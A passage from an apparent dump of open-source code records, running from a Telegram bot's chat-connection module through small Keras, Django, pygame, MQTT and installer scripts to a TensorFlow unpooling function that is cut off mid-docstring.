= sql.connect(\n update.effective_message.from_user.id, connect_chat)\n if connection_status:\n conn_chat = dispatcher.bot.getChat(\n connected(\n context.bot,\n update,\n chat,\n user.id,\n need_admin=False))\n chat_name = conn_chat.title\n send_message(\n update.effective_message,\n \"Successfully connected to *{}*. \\nUse /helpconnect to check available commands.\"\n .format(chat_name),\n parse_mode=ParseMode.MARKDOWN,\n )\n sql.add_history_conn(user.id, str(conn_chat.id), chat_name)\n else:\n send_message(update.effective_message, \"Connection failed!\")\n else:\n send_message(update.effective_message,\n \"Connection to this chat is not allowed!\")\n else:\n gethistory = sql.get_history_conn(user.id)\n if gethistory:\n buttons = [\n InlineKeyboardButton(\n text=\"\u274e Close button\", callback_data=\"connect_close\"),\n InlineKeyboardButton(\n text=\"\ud83e\uddf9 Clear history\", callback_data=\"connect_clear\"),\n ]\n else:\n buttons = []\n conn = connected(\n context.bot, update, chat, user.id, need_admin=False)\n if conn:\n connectedchat = dispatcher.bot.getChat(conn)\n text = \"You are currently connected to *{}* (`{}`)\".format(\n connectedchat.title, conn)\n buttons.append(\n InlineKeyboardButton(\n text=\"\ud83d\udd0c Disconnect\",\n callback_data=\"connect_disconnect\"))\n else:\n text = \"Write the chat ID or tag to connect!\"\n if gethistory:\n text += \"\\n\\n*Connection history:*\\n\"\n text += \"\u2552\u2550\u2550\u2550\u300c *Info* \u300d\\n\"\n text += \"\u2502 Sorted: `Newest`\\n\"\n text += \"\u2502\\n\"\n buttons = [buttons]\n for x in sorted(gethistory.keys(), reverse=True):\n htime = time.strftime(\"%d/%m/%Y\", time.localtime(x))\n text += \"\u255e\u2550\u300c *{}* \u300d\\n\u2502 `{}`\\n\u2502 `{}`\\n\".format(\n gethistory[x][\"chat_name\"], gethistory[x][\"chat_id\"],\n htime)\n text += \"\u2502\\n\"\n buttons.append([\n InlineKeyboardButton(\n text=gethistory[x][\"chat_name\"],\n callback_data=\"connect({})\".format(\n gethistory[x][\"chat_id\"]),\n )\n ])\n text += \"\u2558\u2550\u2550\u300c Total {} Chats \u300d\".format(\n str(len(gethistory)) +\n \" (max)\" if len(gethistory) == 5 else str(len(gethistory)))\n conn_hist = InlineKeyboardMarkup(buttons)\n elif buttons:\n conn_hist = InlineKeyboardMarkup([buttons])\n else:\n conn_hist = None\n send_message(\n update.effective_message,\n text,\n parse_mode=\"markdown\",\n reply_markup=conn_hist,\n )\n\n else:\n getstatusadmin = context.bot.get_chat_member(\n chat.id, update.effective_message.from_user.id)\n isadmin = getstatusadmin.status in (\"administrator\", \"creator\")\n ismember = getstatusadmin.status in (\"member\")\n isallow = sql.allow_connect_to_chat(chat.id)\n if (isadmin) or (isallow and ismember) or (user.id in DRAGONS):\n connection_status = sql.connect(\n update.effective_message.from_user.id, chat.id)\n if connection_status:\n chat_name = dispatcher.bot.getChat(chat.id).title\n send_message(\n update.effective_message,\n \"Successfully connected to *{}*.\".format(chat_name),\n parse_mode=ParseMode.MARKDOWN,\n )\n try:\n sql.add_history_conn(user.id, str(chat.id), chat_name)\n context.bot.send_message(\n update.effective_message.from_user.id,\n \"You are connected to *{}*. \\nUse `/helpconnect` to check available commands.\"\n .format(chat_name),\n parse_mode=\"markdown\",\n )\n except BadRequest:\n pass\n except Unauthorized:\n pass\n else:\n send_message(update.effective_message, \"Connection failed!\")\n else:\n send_message(update.effective_message,\n \"Connection to this chat is not allowed!\")\n\n\ndef disconnect_chat(update, context):\n\n if update.effective_chat.type == \"private\":\n disconnection_status = sql.disconnect(\n update.effective_message.from_user.id)\n if disconnection_status:\n sql.disconnected_chat = send_message(update.effective_message,\n \"Disconnected from chat!\")\n else:\n send_message(update.effective_message, \"You're not connected!\")\n else:\n send_message(update.effective_message,\n \"This command is only available in PM.\")\n\n\ndef connected(bot: Bot, update: Update, chat, user_id, need_admin=True):\n user = update.effective_user\n\n if chat.type == chat.PRIVATE and sql.get_connected_chat(user_id):\n\n conn_id = sql.get_connected_chat(user_id).chat_id\n getstatusadmin = bot.get_chat_member(\n conn_id, update.effective_message.from_user.id)\n isadmin = getstatusadmin.status in (\"administrator\", \"creator\")\n ismember = getstatusadmin.status in (\"member\")\n isallow = sql.allow_connect_to_chat(conn_id)\n\n if ((isadmin) or (isallow and ismember) or (user.id in DRAGONS) or\n (user.id in DEV_USERS)):\n if need_admin is True:\n if (getstatusadmin.status in (\"administrator\", \"creator\") or\n user_id in DRAGONS or user.id in DEV_USERS):\n return conn_id\n else:\n send_message(\n update.effective_message,\n \"You must be an admin in the connected group!\",\n )\n else:\n return conn_id\n else:\n send_message(\n update.effective_message,\n \"The group changed the connection rights or you are no longer an admin.\\nI've disconnected you.\",\n )\n disconnect_chat(update, bot)\n else:\n return False\n\n\nCONN_HELP = \"\"\"\n Actions are available with connected groups:\n \u2022 View and edit Notes.\n \u2022 View and edit Filters.\n \u2022 Get invite link of chat.\n \u2022 Set and control AntiFlood settings.\n \u2022 Set and control Blacklist settings.\n \u2022 Set Locks and Unlocks in chat.\n \u2022 Enable and Disable commands in chat.\n \u2022 Export and Imports of chat backup.\n \u2022 More in future!\"\"\"\n\n\n@run_async\ndef help_connect_chat(update, context):\n\n args = context.args\n\n if update.effective_message.chat.type != \"private\":\n send_message(update.effective_message,\n \"PM me with that command to get help.\")\n return\n else:\n send_message(update.effective_message, CONN_HELP, parse_mode=\"markdown\")\n\n\n@run_async\ndef connect_button(update, context):\n\n query = update.callback_query\n chat = update.effective_chat\n user = update.effective_user\n\n connect_match = re.match(r\"connect\\((.+?)\\)\", query.data)\n disconnect_match = query.data == \"connect_disconnect\"\n clear_match = query.data == \"connect_clear\"\n connect_close = query.data == \"connect_close\"\n\n if connect_match:\n target_chat = connect_match.group(1)\n getstatusadmin = context.bot.get_chat_member(target_chat,\n query.from_user.id)\n isadmin = getstatusadmin.status in (\"administrator\", \"creator\")\n ismember = getstatusadmin.status in (\"member\")\n isallow = sql.allow_connect_to_chat(target_chat)\n\n if (isadmin) or (isallow and ismember) or (user.id in DRAGONS):\n connection_status = sql.connect(query.from_user.id, target_chat)\n\n if connection_status:\n conn_chat = dispatcher.bot.getChat(\n connected(\n context.bot, update, chat, user.id, need_admin=False))\n chat_name = conn_chat.title\n query.message.edit_text(\n \"Successfully connected to *{}*. \\nUse `/helpconnect` to check available commands.\"\n .format(chat_name),\n parse_mode=ParseMode.MARKDOWN,\n )\n sql.add_history_conn(user.id, str(conn_chat.id), chat_name)\n else:\n query.message.edit_text(\"Connection failed!\")\n else:\n context.bot.answer_callback_query(\n query.id,\n \"Connection to this chat is not allowed!\",\n show_alert=True)\n elif disconnect_match:\n disconnection_status = sql.disconnect(query.from_user.id)\n if disconnection_status:\n sql.disconnected_chat = query.message.edit_text(\n \"Disconnected from chat!\")\n else:\n context.bot.answer_callback_query(\n query.id, \"You're not connected!\", show_alert=True)\n elif clear_match:\n sql.clear_history_conn(query.from_user.id)\n query.message.edit_text(\"History connected has been cleared!\")\n elif connect_close:\n query.message.edit_text(\"Closed.\\nTo open again, type /connect\")\n else:\n connect_chat(update, context)\n\n\n__mod_name__ = \"Connection\"\n\n__help__ = \"\"\"\nSometimes, you just want to add some notes and filters to a group chat, but you don't want everyone to see; This is where connections come in...\nThis allows you to connect to a chat's database, and add things to it without the commands appearing in chat! For obvious reasons, you need to be an admin to add things; but any member in the group can view your data.\n\n \u2022 /connect: Connects to chat (Can be done in a group by /connect or /connect in PM)\n \u2022 /connection: List connected chats\n \u2022 /disconnect: Disconnect from a chat\n \u2022 /helpconnect: List available commands that can be used remotely\n\n*Admin only:*\n \u2022 /allowconnect : allow a user to connect to a chat\n\"\"\"\n\nCONNECT_CHAT_HANDLER = CommandHandler(\"connect\", connect_chat, pass_args=True)\nCONNECTION_CHAT_HANDLER = CommandHandler(\"connection\", connection_chat)\nDISCONNECT_CHAT_HANDLER = CommandHandler(\"disconnect\", disconnect_chat)\nALLOW_CONNECTIONS_HANDLER = CommandHandler(\n \"allowconnect\", allow_connections, pass_args=True)\nHELP_CONNECT_CHAT_HANDLER = CommandHandler(\"helpconnect\", help_connect_chat)\nCONNECT_BTN_HANDLER = CallbackQueryHandler(connect_button, pattern=r\"connect\")\n\ndispatcher.add_handler(CONNECT_CHAT_HANDLER)\ndispatcher.add_handler(CONNECTION_CHAT_HANDLER)\ndispatcher.add_handler(DISCONNECT_CHAT_HANDLER)\ndispatcher.add_handler(ALLOW_CONNECTIONS_HANDLER)\ndispatcher.add_handler(HELP_CONNECT_CHAT_HANDLER)\ndispatcher.add_handler(CONNECT_BTN_HANDLER)\n", "source": "pro-boy/Pikachu-Robot-1", "license": "MIT"} {"text": "##############################################\n# Modeling\n##############################################\nfrom keras import layers, models\nfrom sklearn import preprocessing\n\n\nclass ANN(models.Model):\n def __init__(self, Nin, Nh, Nout):\n # Prepare network layers and activate functions\n hidden = layers.Dense(Nh)\n output = layers.Dense(Nout)\n relu = layers.Activation('relu')\n\n # Connect network elements\n x = layers.Input(shape=(Nin,))\n h = relu(hidden(x))\n y = output(h)\n\n super().__init__(x, y)\n\n self.compile(loss='mse', optimizer='sgd')\n\n\n##############################################\n# Data\n##############################################\nfrom keras import datasets\n\n\ndef Data_func():\n (X_train, y_train), (X_test, y_test) = datasets.boston_housing.load_data()\n scaler = preprocessing.MinMaxScaler()\n X_train = scaler.fit_transform(X_train)\n X_test = scaler.transform(X_test)\n return (X_train, y_train), (X_test, y_test)\n\n\n##############################################\n# Plotting\n##############################################\nimport matplotlib.pyplot as plt\nfrom .ann_mnist_cl import plot_loss\n\n\n##############################################\n# Main\n##############################################\ndef main():\n Nin = 13\n Nh = 5\n Nout = 1\n\n model = ANN(Nin, Nh, Nout)\n (X_train, y_train), (X_test, y_test) = Data_func()\n\n history = model.fit(X_train, y_train, epochs=100, batch_size=100, validation_split=0.2, verbose=2)\n\n performace_test = model.evaluate(X_test, y_test, batch_size=100)\n print('\\nTest Loss -> {:.2f}'.format(performace_test))\n\n plot_loss(history)\n plt.show()\n\n\nif __name__ == '__main__':\n main()", "source": "soyoung9306/-3-keras", "license": "MIT"} {"text": "from distutils.core import setup\n\nsetup(\n\n\tname = 'ThermalConductivity',\n\tversion = '3.0.3',\n\tpy_modules = ['ThermalConductivity'],\n\tauthor = 'DongshengChen',\n\tauthor_email = 'eastsheng@hotmail.com',\n\turl = 'https://github.com/eastsheng',\n\tdescription = 'Calculating thermal conductivity from NEMD dumpfiles.'\n\t)\n", "source": "eastsheng/Thermal-conductivity", "license": "MIT"} {"text": "import requests\n\ntecnologia = requests.get('https://api.clickup.com/api/v2/user', headers={'Authorization': '######'})\nprint(tecnologia.text)\n\n\ntecnologia2 = requests.get('https://api.clickup.com/api/v2/team', headers={'Authorization': '######'})\nprint(tecnologia2.text)\n\ntecnologia3 = requests.get('https://api.clickup.com/api/v2/team/3001554/space?archived=false', headers={'Authorization': '######'})\nprint(tecnologia3.text)\n\ntecnologia4 = requests.get('https://api.clickup.com/api/v2/space/3011253/folder?archived=false', headers={'Authorization': '#####'})\nprint(tecnologia4.text)\n\n#https://api.clickup.com/api/v2/folder/folder_id/list?archived=false\n\n#https://api.clickup.com/api/v2/list/list_id/task?archived=false\n", "source": "martincho5/vscode", "license": "MIT"} {"text": "from .data_utils import *\nfrom .script_utils import *\nfrom .math_utils import *\n", "source": "jojkos/neural-machine-translation", "license": "MIT"} {"text": "from .main import WordFind\nfrom .wordbank import WordBank", "source": "GrandMoff100/WordFinds", "license": "MIT"} {"text": "\ufeff'''\r\n@author: cedric jules\r\n'''\r\n\r\nclass ProxyNames():\r\n ALBehaviorManager = \"ALBehaviorManager\"\r\n ALBonjour = \"ALBonjour\"\r\n ALMemory = \"ALMemory\"\r\n ALModule = \"ALModule\"\r\n ALPreferences = \"ALPreferences\"\r\n ALResourceManager = \"ALResourceManager\"\r\n \r\n ALMotion = \"ALMotion\"\r\n \r\n ALAudioDevice = \"ALAudioDevice\"\r\n ALAudioPlayer = \"ALAudioPlayer\"\r\n ALAudioRecoder = \"ALAudioRecoder\"\r\n ALAudioSourceLocalisation = \"ALAudioSourceLocalisation\"\r\n ALSoundDetection = \"ALSoundDetection\"\r\n ALSpeechRecognition = \"ALSpeechRecognition\"\r\n ALTextToSpeech = \"ALTextToSpeech\"\r\n \r\n ALFaceDetection = \"ALFaceDetection\"\r\n ALLandmarkDetection = \"ALLandmarkDetection\"\r\n ALRedBallDetection = \"ALRedBallDetection\"\r\n ALVideoDevice = \"ALVideoDevice\"\r\n ALVisionRecognition = \"ALVisionRecognition\"\r\n ALVisionToolBox = \"ALVisionToolBox\"\r\n \r\n ALBattery = \"ALBattery\"\r\n ALFsr = \"ALFsr\"\r\n ALInfrared = \"ALInfrared\"\r\n ALLaser = \"ALLaser\"\r\n ALRobotPose = \"ALRobotPose\"\r\n ALSensors = \"ALSensors\"\r\n ALSonar = \"ALSonar\"\r\n ALLeds = \"ALLeds\"\r\n \r\n ALFaceTracker = \"ALFaceTracker\"\r\n ALRedBallTracker = \"ALRedBallTracker\"\r\n\r\n", "source": "totologic/NaoRemoteCsharp", "license": "MIT"} {"text": "from django.contrib.auth.models import AbstractUser\nfrom django.db import models\nfrom django.conf import settings\nfrom django_sharding_library.decorators import model_config, shard_storage_config\nfrom django_sharding_library.fields import (\n TableShardedIDField,\n ShardForeignKeyStorageField,\n PostgresShardGeneratedIDAutoField,\n PostgresShardGeneratedIDField\n)\nfrom django_sharding_library.models import ShardedByMixin, ShardStorageModel, TableStrategyModel\nfrom django_sharding_library.constants import Backends\n\n\n# A model for use with a sharded model to generate pk's using\n# an autoincrement field on the backing TableStrategyModel.\n# This one is initialized but used in no strategy.\nclass ShardedModelIDs(TableStrategyModel):\n pass\n\n\n# An implementation of the extension of a the Django user to add\n# the mixin provided in order to save the shard on the user.\n@shard_storage_config()\nclass User(AbstractUser, ShardedByMixin):\n # Patch for Django 1.11\n groups = None\n user_permissions = None\n\n\n# An implementation of the extension of a the Django user to add\n# the mixin provided in order to save the shard on the user.\n@shard_storage_config(shard_group='postgres')\nclass PostgresShardUser(AbstractUser, ShardedByMixin):\n # Patch for Django 1.11\n groups = None\n user_permissions = None\n\n\n# A model for use with a sharded model to generate pk's using\n# an autoincrement field on the backing TableStrategyModel.\n# This one is initialized for use with TestModel and is stored\n# on `app_shard_001`.\n\n\n@model_config(database='app_shard_001')\nclass ShardedTestModelIDs(TableStrategyModel):\n pass\n\n\n# An example of a sharded model which uses the `TableStrategy` to\n# generate uuid's for its instances.\n\n\n@model_config(shard_group='default', sharded_by_field='user_pk')\nclass TestModel(models.Model):\n id = TableShardedIDField(primary_key=True, source_table_name='tests.ShardedTestModelIDs')\n random_string = models.CharField(max_length=120)\n user_pk = models.PositiveIntegerField()\n\n def get_shard(self):\n from django.contrib.auth import get_user_model\n return get_user_model().objects.get(pk=self.user_pk).shard\n\n @staticmethod\n def get_shard_from_id(user_pk):\n from django.contrib.auth import get_user_model\n user = get_user_model()\n return user.objects.get(pk=user_pk).shard\n\n\n@model_config(database='default')\nclass UnshardedTestModel(models.Model):\n id = TableShardedIDField(primary_key=True, source_table_name='tests.ShardedTestModelIDs')\n random_string = models.CharField(max_length=120)\n user_pk = models.PositiveIntegerField()\n\n def get_shard(self):\n from django.contrib.auth import get_user_model\n return get_user_model().objects.get(pk=self.user_pk).shard\n\n\nclass ShardStorageTable(ShardStorageModel):\n pass\n\n\nclass ShardedByForiegnKeyModel(models.Model):\n shard = ShardForeignKeyStorageField(ShardStorageTable, shard_group='default', on_delete=models.CASCADE)\n random_string = models.CharField(max_length=120)\n test = models.ForeignKey(UnshardedTestModel, on_delete=models.CASCADE)\n\n def get_shard_key(self):\n return self.test.user_pk\n\n\n@model_config(database='app_shard_001')\nclass PostgresCustomIDModelBackupField(TableStrategyModel):\n pass\n\n\n@model_config(shard_group=\"postgres\", sharded_by_field=\"user_pk\")\nclass PostgresCustomAutoIDModel(models.Model):\n if settings.DATABASES['default']['ENGINE'] in Backends.POSTGRES:\n id = PostgresShardGeneratedIDAutoField(primary_key=True)\n else:\n id = TableShardedIDField(primary_key=True, source_table_name='tests.PostgresCustomIDModelBackupField')\n random_string = models.CharField(max_length=120)\n user_pk = models.PositiveIntegerField()\n\n def get_shard(self):\n return PostgresShardUser.objects.get(pk=self.user_pk).shard\n\n @staticmethod\n def get_shard_from_id(user_pk):\n return PostgresShardUser.objects.get(pk=user_pk).shard\n\n\n@model_config(shard_group=\"postgres\")\nclass PostgresCustomIDModel(models.Model):\n if settings.DATABASES['default']['ENGINE'] in Backends.POSTGRES:\n id = PostgresShardGeneratedIDField(primary_key=True)\n some_field = PostgresShardGeneratedIDField()\n else:\n id = TableShardedIDField(primary_key=True, source_table_name='tests.PostgresCustomIDModelBackupField')\n some_field = models.PositiveIntegerField()\n random_string = models.CharField(max_length=120)\n user_pk = models.PositiveIntegerField()\n\n def get_shard(self):\n return PostgresShardUser.objects.get(pk=self.user_pk).shard\n\n @staticmethod\n def get_shard_from_id(user_pk):\n return PostgresShardUser.objects.get(pk=user_pk).shard\n", "source": "simonw/django-sharding", "license": "BSD-3-Clause"} {"text": "\"\"\"\nSCout | Special Character Out\n\nCopyright 2017-2019, Marcel Schmalzl (MSc)\nThis code is licensed under a MIT license\nYou should have received a copy of the MIT licence along with this program.\nIf not see:\n* https://github.com/holzkohlengrill/SCout/blob/master/LICENSE\n* https://opensource.org/licenses/MIT\n\"\"\"\n\nimport unittest\nfrom unittest import TestCase\n\nimport pypiscout.SCout as sc_simple\nfrom pypiscout.SCout_Logger import Logger as sc\n\nTEXTLIST = [\n \"Lorem ipsum dolor sit amet, consetetur sadipscing elitr,\",\n \" sed diam nonumy eirmod tempor invidunt ut labore et dolore magna\",\n \" aliquyam erat, sed diam voluptua.\",\n \" At vero eos et accusam et justo duo dolores et ea rebum.\",\n \" Stet clita kasd gubergren, no sea takimata \"\n]\nTEXTSINGLE = \"Lorem ipsum dolor sit amet, consetetur sadipscing elitr,\"\n\n##################\n\nHEADEROUTPUT_EXPECTED = \"\"\"////////////////////////////////////////////////////////////////\n/// Lorem ipsum dolor sit amet, consetetur sadipscing elitr, ///\n////////////////////////////////////////////////////////////////\n\"\"\" # This newline is important\nHEADEROUTPUT_MULTILINE_EXPECTED = [\n \"Lorem ipsum dolor sit amet, consetetur sadipscing elitr,\",\n \" sed diam nonumy eirmod tempor invidunt ut labore et dolore magna\",\n \" aliquyam erat, sed diam voluptua.\",\n \" At vero eos et accusam et justo duo dolores et ea rebum.\",\n \" Stet clita kasd gubergren, no sea takimata \"\n]\n\n\nclass TestHeaderSimple(TestCase):\n def testSingleArg(self):\n singleHeader = sc_simple.Header.gen(TEXTSINGLE, symbol=\"/\")\n print(singleHeader)\n self.assertMultiLineEqual(HEADEROUTPUT_EXPECTED, singleHeader)\n\n # def testMultiArg(self):\n # \"\"\"\n # Test header multiline support (NOT IMPLEMENTED SO FAR)\n # :return:\n # \"\"\"\n # print(\"Conducting test:\", \"testMultiArg\")\n # singleHeader = sc_simple.Header.gen(TEXTLIST, symbol=\"/\")\n # self.assertMultiLineEqual(HEADEROUTPUT_EXPECTED, singleHeader)\n\n\nclass TestHeaderLogger(TestCase):\n def testSingleArg(self):\n singleHeader = sc().header(TEXTSINGLE, symbol=\"/\", disableColour=True)\n self.assertMultiLineEqual(HEADEROUTPUT_EXPECTED, singleHeader)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "source": "holzkohlengrill/SCout", "license": "MIT"} {"text": "# coding: utf8\nimport cv2 as cv\n\nif __name__ == '__main__':\n # \u66ff\u6362\u5b57\u7b26\u5217\u8868\n ascii_char = list(r\"#8XOHLTI)i=+;:,. \")\n char_len = len(ascii_char)\n # \u52a0\u8f7d\u89c6\u9891\n cap = cv.VideoCapture('test.mp4')\n while True:\n # \u8bfb\u53d6\u89c6\u9891\u6bcf\u4e00\u5e27\n hasFrame, frame = cap.read()\n if not hasFrame:\n break\n # \u89c6\u9891\u957f\u5bbd\n frameWidth = frame.shape[0]\n frameHeight = frame.shape[1]\n # \u8f6c\u7070\u5ea6\u56fe\n img_gray = cv.cvtColor(frame, cv.COLOR_BGR2GRAY)\n # \u7f29\u5c0f\u56fe\u7247\u5e76\u8c03\u6574\u957f\u5bbd\u6bd4\n img_resize = cv.resize(img_gray, (int(frameWidth / 3), int(frameHeight / 18)))\n text = ''\n # \u904d\u5386\u56fe\u7247\u4e2d\u7684\u50cf\u7d20\n for row in img_resize:\n for pixel in row:\n # \u6839\u636e\u50cf\u7d20\u503c\uff0c\u9009\u53d6\u5bf9\u5e94\u7684\u5b57\u7b26\n text += ascii_char[int(pixel / 256 * char_len)]\n text += '\\n'\n with open(\"./v-out.txt\", \"a\") as data1:\n data1.write(text)\n", "source": "hui-shao/python-toolk", "license": "MIT"} {"text": "# imageutil.py\n# Slow image manipulation functions that are useful in various situations.\n# by Andrew Martin (2006)\n#\n# TODO:\n# [x] Comment all classes\n# [x] Rename members that don't adhere to style guidelines\n# [x] Review algorithms to determine if there is a more pythonic way\n# [x] Review classes included in module for relevance to module\n#\n\nfrom math import ceil\nimport math\nimport pygame\nimport pygame.locals\nimport random\n\ndef createHorizontalBlendedAlphaMask(surface, start, end):\n \"\"\"Takes a surface and applies an alpha mask gradient from start\n (full alpha) to end (no alpha), returns a new surface with the\n blend effect. NOTE: this is a per-pixel function, so it takes\n exponentially longer time with increasing surface dimensions.\n \n New: Stops and returns None if the original already has \n any sort of alpha component (since this will just mess it up)\n \"\"\"\n\n assert isinstance(start, float), \"second parameter must be a float\"\n assert isinstance(end, float), \"third parameter must be a float\"\n\n if start > 1.0: start = 1.0\n if end > 1.0: end = 1.0\n if start < 0.0: start = 0.0\n if end < 0.0: end = 0.0\n \n new = pygame.Surface.convert_alpha(surface)\n\n start_w = int(new.get_width() * start)\n end_w = int(new.get_width() * end)\n if end_w == 0: end_w = -1\n\n if start_w > end_w: step = -1\n else: step = 1\n \n alpha_step = 255 / abs(start_w-end_w)\n \n for h in xrange(new.get_height()):\n alpha = 255\n for w in xrange(start_w, end_w, step): \n \n try:\n pixel = new.get_at((w,h))\n if pixel[3] < 255: return None # can't use a surface that already has alpha \n except:\n print \"Failed to retrieve pixel at (%s,%s)\" % (w,h)\n return None\n \n new.set_at((w,h), (pixel[0],pixel[1],pixel[2],alpha))\n alpha -= alpha_step\n\n return new\n\ndef createVerticalBlendedAlphaMask(surface, start, end):\n \"\"\"Takes a surface and applies an alpha mask gradient from start\n (full alpha) to end (no alpha), returns a new surface with the\n blend effect. NOTE: this is a per-pixel function, so it takes\n exponentially longer time with increasing surface dimensions.\n \n New: Stops and returns None if the original already has \n any sort of alpha component (since this will just mess it up)\n \"\"\"\n\n assert isinstance(start, float), \"second parameter must be a float\"\n assert isinstance(end, float), \"third parameter must be a float\"\n\n if start > 1.0: start = 1.0\n if end > 1.0: end = 1.0\n if start < 0.0: start = 0.0\n if end < 0.0: end = 0.0\n \n new = pygame.Surface.convert_alpha(surface)\n\n start_h = int(new.get_height() * start)\n end_h = int(new.get_height() * end)\n if end_h == 0: end_h = -1\n\n if start_h > end_h: step = -1\n else: step = 1\n\n alpha_step = 255 / abs(end_h - start_h)\n\n for w in xrange(new.get_width()):\n alpha = 255\n for h in xrange(start_h, end_h, step):\n pixel = new.get_at((w,h))\n if pixel[3] < 255: return None\n\n new.set_at((w,h), (pixel[0],pixel[1],pixel[2],alpha))\n alpha -= alpha_step\n\n return new\n \ndef convertToTiles(surface, width, height):\n \"\"\"Takes a surface with dimensions greater than width x height\n and divides it into equal parts, each width x height in size.\n \n Returns a list of new surfaces.\n \"\"\"\n \n ret = []\n \n sz = surface.get_size()\n if sz[0] == width and sz[1] == height: return [surface]\n \n xstep = int(ceil(float(sz[0]) / float(width)))\n ystep = int(ceil(float(sz[1]) / float(height)))\n \n for dy in xrange(ystep):\n for dx in xrange(xstep):\n surf = pygame.Surface((width, height)).convert_alpha()\n surf.fill((0,0,0,0))\n surf.blit(surface, (0,0), (dx*width, dy*height, width, height))\n ret.append(surf)\n \n print \"Converted surface with dimensions (%d x %d) into %d tiles of dimension (%d x %d)\" % \\\n (surface.get_width(), surface.get_height(), len(ret), width, height)\n \n return ret\n \nif __name__ == '__main__':\n\n # testing of functions found within this file:\n\n pygame.display.init()\n scr = pygame.display.set_mode((800,600))\n\n img = pygame.image.load('../data/tilesets/base/grass1.png')\n himg = createHorizontalBlendedAlphaMask(img, 0.2, 1.0)\n himg2 = createHorizontalBlendedAlphaMask(img, 0.8, 0.0)\n vimg = createVerticalBlendedAlphaMask(img, 0.2, 1.0)\n vimg2 = createVerticalBlendedAlphaMask(img, 0.8, 0.0) \n\n done = False\n\n scr.fill((255,255,255))\n\n scr.blit(img, (0,0))\n scr.blit(himg, (0,50))\n scr.blit(himg2, (0,100))\n scr.blit(vimg, (50,50))\n scr.blit(vimg2, (50,100))\n\n pygame.display.update()\n\n while not done:\n events = pygame.event.get()\n\n for e in events:\n if e.type == pygame.locals.KEYDOWN:\n if e.key == pygame.locals.K_ESCAPE:\n done = True\n \n pygame.time.wait(60)\n\n", "source": "mavroskardia/oworld", "license": "MIT"} {"text": "import pandas as pd\nimport matplotlib.pyplot as plt\n\nimport trackviz.static\n\n\ntracks = pd.read_csv('sample_data/ant_tracking_res.csv').rename(columns={'frame': 't'})\nfig, ax = trackviz.static.trajectory_2d(tracks, show_points=True)\nfig.savefig('output/static_2d_points.png')\n# plt.show()\n", "source": "marximus/trackviz", "license": "MIT"} {"text": "import importlib.util\nimport os\nfrom glob import glob\nfrom subprocess import check_call\n\n\ndef main():\n root_dir = os.getcwd()\n repo_name = \"acconeer-python-exploration\"\n repo_dir = os.path.join(root_dir, repo_name)\n repo_addr = \"https://github.com/acconeer/acconeer-python-exploration.git\"\n python_dir = os.path.abspath(glob(\"tools\\\\python-3.7.*\")[0])\n python = os.path.abspath(os.path.join(python_dir, \"python.exe\"))\n\n # Check that pip is installed\n check_call([python, \"-m\", \"pip\", \"--version\"])\n pip_install = [python, \"-m\", \"pip\", \"install\", \"--no-warn-script-location\"]\n\n # Install and import dulwich\n if importlib.util.find_spec(\"dulwich\") is None:\n check_call(pip_install + [\"urllib3\", \"certifi\"])\n check_call(pip_install + [\"dulwich==0.20.28\", \"--global-option=--pure\"])\n\n from dulwich import porcelain\n\n # Clone/clean/update repo\n if os.path.isdir(repo_dir):\n os.chdir(repo_dir)\n porcelain.pull(\".\", repo_addr)\n else:\n os.chdir(root_dir)\n porcelain.clone(repo_addr, target=repo_dir)\n\n # Install requirements and acconeer_utils\n os.chdir(repo_dir)\n check_call(pip_install + [\"-r\", \"requirements.txt\"])\n check_call(pip_install + [\".\"])\n\n\nif __name__ == \"__main__\":\n main()\n", "source": "DiwakerJha/acconeer-python-exploration", "license": "BSD-3-Clause-Clear"} {"text": "import sys\nimport subprocess\nimport re\nimport paho.mqtt.client as mqtt\n\ntemp=subprocess.check_output(['vcgencmd','measure_temp'])\nmatch=re.search(r'temp=',temp)\nstart=match.end()\nend=start+10\nresp=temp[start:end]\nprintable=('measured temp: '+resp)\n\nf=open('output.txt','w+')\nf.write(printable)\n\nclient =mqtt.Client()\nclient.connect(\"localhost\",1883,60)\nclient.publish('temp_data',resp);\nclient.disconnect()\n\n", "source": "abdeokar23/mqtt_rpi", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n# Copyright 2018 The Blueoil Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# =============================================================================\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.python.framework.function import Defun\n\n\ndef max_unpool_with_argmax(x, argmax, ksize, data_format='NHWC'):\n \"\"\" LeapMind max unpool with argmax function using Defun.\n Computes a partial inverse of MaxPoolWithArgmax.\n This function returns max unpooled tensor.\n If data format is `NCHW`, pre-transpose and post-transpose would be added.\n\n The function name in graph is `io.leapmind.MaxUnpoolWithArgmax`.\n\n Args:\n x(tf.Variable): The max pooled inputs.\n argmax(tf.Variable): The argmax from tf.nn.max_pool_with_argmax which has same shape with inputs.\n ksize(list, tuple): Size of the max pooling window.\n data_format(str): An optional string from \"NHWC\", \"NCHW\". Defaults to \"NHWC\".\n Returns:\n tf.Variable: An unpooled tensor.\n \"\"\"\n\n def _backward(op, grad_quantized):\n \"\"\"Backward.\n\n Args:\n op(tf.Operation): The forward operation.\n grad_quantized(tf.Tensor): The gradient w.r.t quantized input, weights normally.\n Returns:\n tf.Variable: The gradient w.r.t. normal (non-quantized) input.\n \"\"\"\n flatten_grad = tf.reshape(grad_quantized, (grad_quantized.get_shape()[0], -1))\n flatten_argmax = tf.reshape(op.inputs[1], (op.inputs[1].get_shape()[0], -1))\n rs_list = []\n for i in range(grad_quantized.get_shape()[0]):\n rs_list.append(tf.gather(flatten_grad[i], flatten_argmax[i]))\n rs = tf.concat(rs_list, axis=0)\n return tf.reshape(rs, op.inputs[0].get_shape()), None, None, None\n\n def _forward(x, argmax, ksize):\n\n @Defun(tf.float32, tf.int64, tf.int32, tf.int32,\n python_grad_func=_backward,\n shape_func=lambda op: [np.multiply(op.inputs[0].get_shape().as_list(), ksize)],\n func_name=\"io.leapmind.MaxUnpoolWithArgmax\")\n def _func(\n inputs,\n argmax,\n inputs_shape,\n ksize\n ):\n \"\"\"Ref: https://github.com/mshunshin/SegNetCMR/blob/master/SegNetCMR/layers.py\n\n Args:\n inputs(tf.Variable): The max pooled inputs.\n argmax(tf.Variable): 